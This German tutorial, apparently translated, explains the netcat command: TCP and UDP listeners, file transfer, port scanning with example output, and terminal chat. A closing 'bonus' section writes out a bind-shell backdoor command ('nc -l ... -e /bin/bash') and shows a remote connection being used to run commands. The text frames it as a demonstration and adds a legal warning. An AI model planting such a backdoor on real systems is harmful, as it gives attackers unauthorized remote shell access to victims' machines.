Netcat ist ein leistungsstarkes und vielseitiges Netzwerktool, das für Linux-, Mac- und Windows-Rechner verfügbar ist. Es ist einfach zu bedienen und unverzichtbar für alle, die sich für Netzwerkkommunikation interessieren.
Die Kernfunktionalität von Netcat besteht darin, dass zwei Computer sich verbinden und Ressourcen gemeinsam nutzen können. Der Name ist ein Kunstwort aus network und concatenate, was ein schickes Wort für das Zusammenfügen von Dingen ist.
Verbindungen können direkt zwischen Computern über TCP- oder UDP-Ports hergestellt werden. Einmal eingerichtet, gibt es viele potenzielle Anwendungsfälle. Die Kommunikation kann bidirektional funktionieren, sodass Dateien oder Informationen vom Zuhörer zum Client oder vom Client zum Zuhörer übertragen werden können.
Netcat ist wegen seiner breiten Palette an Funktionalitäten als das „Schweizer Taschenmesser“ der IT bekannt. Es kann zum einfachen Senden von Dateien, Chatten, Webservern und Ausführen von Code aus der Ferne verwendet werden. Die Liste ist umfangreich und vielfältig.
Ich werde einige der häufigeren Anwendungen in diesem Artikel hervorheben.
Bekanntermaßen kann netcat zum Erstellen eines „Hintertür“-Zugriffs verwendet werden. Ich werde erklären, wie das funktioniert, aber denken Sie daran, dass dies aufgrund seines Potenzials für böswillige Verwendung nicht mehr Teil der nc-Software ist.
Netcat (nc)-Befehlsbeispiele
Hier ist die Syntax für den nc-Befehl:
nc [options] [hostname] [port]
Die Syntax kann je nach Anwendung variieren, aber für die meisten Anwendungen folgen Ihre Befehle diesem Grundmuster.
Mal sehen
1. Erstellen Sie eine Verbindung über TCP mit dem Befehl netcat
Wie ich bereits erwähnt habe, besteht die Kernfunktionalität von netcat darin, zwei Maschinen miteinander zu verbinden. Sie können eine Verbindung mit TCP einrichten, um zwei separate Computer zu verbinden, Sie können diese Verbindung auch mit dem Terminal emulieren.
Die Zuhörmaschine:
nc -l 8080
Dieser Befehl öffnet Port 8080 und weist die Maschine an, diesen Port zu überwachen.
Um eine Verbindung herzustellen, verwenden Sie ein anderes Terminal und geben Folgendes ein.
Der Client-Rechner:
nc 127.0.0.1 8080
Sie können anstelle der IP auch „localhost“ verwenden oder hier die IP Ihres zweiten PCs verwenden, wenn Sie eine Remote-Verbindung herstellen.
Sie haben einen TCP-Port geöffnet und eine Verbindung zwischen zwei Systemen hergestellt.
Kurze Einführung in TCP vs. UDP
Warum verwenden wir standardmäßig TCP? TCP ist eine ältere Technologie als UDP und arbeitet auf verschiedenen Ebenen des OSI-Modells. Ich werde einen kurzen Überblick über die Unterschiede zwischen ihnen geben und einige Situationen beschreiben, in denen Sie sich für eines entscheiden können.
TCP verfügt über starke Fehlerkorrekturfunktionen. Was bedeutet das? Im Grunde bedeutet dies, dass während der Übertragung von Datenpaketen von System zu System kontinuierliche Tests durchgeführt werden. Diese Tests stellen sicher, dass die Informationen von System A genau auf System B kopiert werden. Dies ist eine sehr vereinfachte Version dessen, was passiert, wenn Informationen über Netzwerke (das Internet) übertragen werden.
Es gibt jedoch viele Protokolle, die in der Internetkommunikation verwendet werden, nicht nur TCP. UDP hat andere Regeln als TCP. Beide sind nicht unbedingt „besser“, aber sie können sich bei der Ausführung unterschiedlicher Aufgaben auszeichnen.
Warum sollten wir UDP über TCP verwenden oder umgekehrt? Es kommt auf die Anwendung an. TCP ist langsamer, aber zuverlässiger für die genaue Übertragung von Daten.
UDP kann in Situationen gewählt werden, in denen Geschwindigkeit wichtiger ist als Zuverlässigkeit bei der Übertragung von Informationen. Ein Beispiel hierfür sind Streaming-Daten wie Videos. Videos können über UDP schneller übertragen werden, und selbst wenn Fehler bei der Übertragung auftreten, beeinträchtigen sie die Benutzererfahrung weniger wahrscheinlich.
2. Erstellen Sie eine Verbindung unter Verwendung von UDP mit dem Befehl nc
Die Schritte zum Herstellen einer UDP-Verbindung sind praktisch identisch mit denen, die wir bereits befolgt haben. Sie fügen ein Options-Flag hinzu, um anzugeben, dass der Typ des Ports, den Sie öffnen möchten, UDP ist, nicht das Standard-TCP.
nc -l -u 999
So einfach ist das. Das ist alles, was Sie tun müssen, um den UDP-Port „999“ zu öffnen.
Sie fragen sich vielleicht, ob Sie TCP und UDP mit derselben Portnummer verwenden können. Das ist möglich, da es sich um separate Protokolle handelt.
3. Verwenden Sie den Befehl nc, um Dateien zwischen entfernten Systemen zu übertragen
Es gibt andere Methoden zum Übertragen von Dateien von einem System auf ein anderes. Sie können zu diesem Zweck auch den Befehl netcat verwenden.
Für dieses Beispiel habe ich eine Demo erstellt, die eine Remote-Dateiübertragung von meinem Linux-Rechner auf mein MacBook Pro veranschaulicht.
Richten Sie den Linux-PC für den Empfang ein
nc -l 9999 > fromMac.file
Sie beginnen, auf dem empfangenden Computer TCP-Port 9999 abzuhören. Die Datei „>
‘ teilt dem Gerät mit, dass Sie die Übertragung einer Datei erwarten. Der folgende Name ist der lokale Name für die Datei.
Richten Sie den Mac-PC zum Senden ein
nc 172.20.1.168 9999 < toLinux.file
Die IP-Adresse hier gehört zur Linux-Maschine. Sie drehen das Symbol auf „<
“. “ und die Datei „toLinux.file“ wird als „fromMac.file“ auf den Remote-Computer kopiert.
Hier ist ein Beispiel, bei dem zwei verschiedene Computer zum Senden einer Datei verwendet werden.
4. Verwenden Sie den Befehl nc zum Scannen von Ports
Es gibt möglicherweise effizientere Optionen für das Scannen von Ports, aber es kann mit netcat durchgeführt werden. Da netcat auf den meisten Betriebssystemen standardmäßig installiert ist, ist es gut zu wissen, wie das geht, wenn Sie eine schnelle Fehlerbehebung durchführen müssen. Sie verwenden das '-n' und zeigen eine ausführliche Ausgabe an.
nc -v -n 127.0.0.1 1-100
Dieser versucht, eine Verbindung zu Ports zwischen 1-100 herzustellen. Port 80 ist HTTP, wie viele von Ihnen sicherlich wissen. Dieser Port ist normalerweise auf Computern offen, da er für die Verbindung zum Internet verwendet wird.
Wenn ich diesen Befehl verwende, versuche ich tatsächlich, eine Verbindung zu allen Ports zwischen 1-100 herzustellen. Es stellt erfolgreich eine Verbindung zu Port 80 her, generiert jedoch eine Fehlermeldung von Apache. Am Ende bekomme ich einige HTML-Ausgaben auf dem Terminal, weil mein Computer dies als eine fehlerhafte Seitenanforderung sieht.
[...]
nc: connect to 127.0.0.1 port 77 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 78 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 79 (tcp) failed: Connection refused
Connection to 127.0.0.1 80 port [tcp/*] succeeded!
HTTP/1.1 400 Bad Request
Date: Fri, 20 Dec 2019 15:08:29 GMT
Server: Apache/2.4.38 (Ubuntu)
Content-Length: 310
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.38 (Ubuntu) Server at pop-os.localdomain Port 80</address>
</body></html>
Zero-I/O-Modus
Um dies zu vermeiden, können Sie das -z
verwenden Flag, das für Zero Input/Output steht. Dies ist der eingebaute Port-Scanning-Modus für netcat. Ich bekomme immer noch dieselbe Sprache, aber es wird keine Verbindung zu Port 80 hergestellt, wodurch der Fehler "Bad Request" generiert wird. Stattdessen wird es durch alle gescannten Ports fortgesetzt.
5. Chatten Sie mit Netcat
Dies ist eine unterhaltsamere Art, netcat zu verwenden. Wenn Sie wie oben eine TCP-Verbindung herstellen, können Sie tatsächlich von Maschine zu Maschine „chatten“. Es ist weniger neu in einer Zeit, in der SMS- und Chat-Anwendungen allgegenwärtig sind, aber das hätte 1996 jemanden völlig umgehauen.
Hier ist eine Animation, die mich zeigt, wie ich von einem Terminal zum anderen spreche.
Ziemlich cool, oder?
Bonus-Tipp:Erstellen Sie eine Hintertür mit dem nc-Befehl
Ich zeige dies nur zu Demonstrationszwecken. Bitte beachten Sie, dass die unbefugte Verwendung dieses Befehls in Ihrem Gebietsschema als kriminelle Aktivität angesehen werden kann.
Tatsächlich macht dieser Befehl nichts mehr mit 'nc'. Es gibt Möglichkeiten, dies zu tun, aber Sie müssen sie woanders finden. Noch einmal, dies soll nur die Fähigkeit zeigen.
Das -e flag macht etwas ausführbar. Ein üblicher Weg für böswillige Akteure, sich Zugriff zu verschaffen, besteht darin, eine solche Hintertür auf einem offenen Port zu erstellen und diese zu verwenden, um Skripte auszuführen oder das Dateisystem anderweitig zu manipulieren.
Wenn der Angreifer also irgendwie Zugriff auf die „Opfer“-Maschine erlangt hat, kann er/sie eine Hintertür wie diese erstellen:
nc -l 9999 -e /bin/bash
Nun können die Angreifer über diese Hintertür aus der Ferne auf das System zugreifen und Befehle ausführen. Also, vom System des Angreifers:
nc 192.168.1.10 9999
ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
firefox linuxhandbook.com
Dadurch kann der Angreifer über die Befehlszeile remote auf Ihren Computer zugreifen. Sobald die Verbindung hergestellt ist, kann ich Bash-Befehle ausführen, ähnlich wie bei direkter Verwendung des Computers.
Ich bin sicher, Sie können sich vorstellen, wie jemand ohne die besten Absichten diese Macht missbrauchen könnte. Daher ist es sehr wichtig, die Portaktivität in jedem Netzwerk zu überwachen.
Ich hoffe, Ihnen hat diese kurze Einführung in den netcat-Befehl gefallen. Teilen Sie uns Ihre Meinung wie immer im Kommentarbereich mit.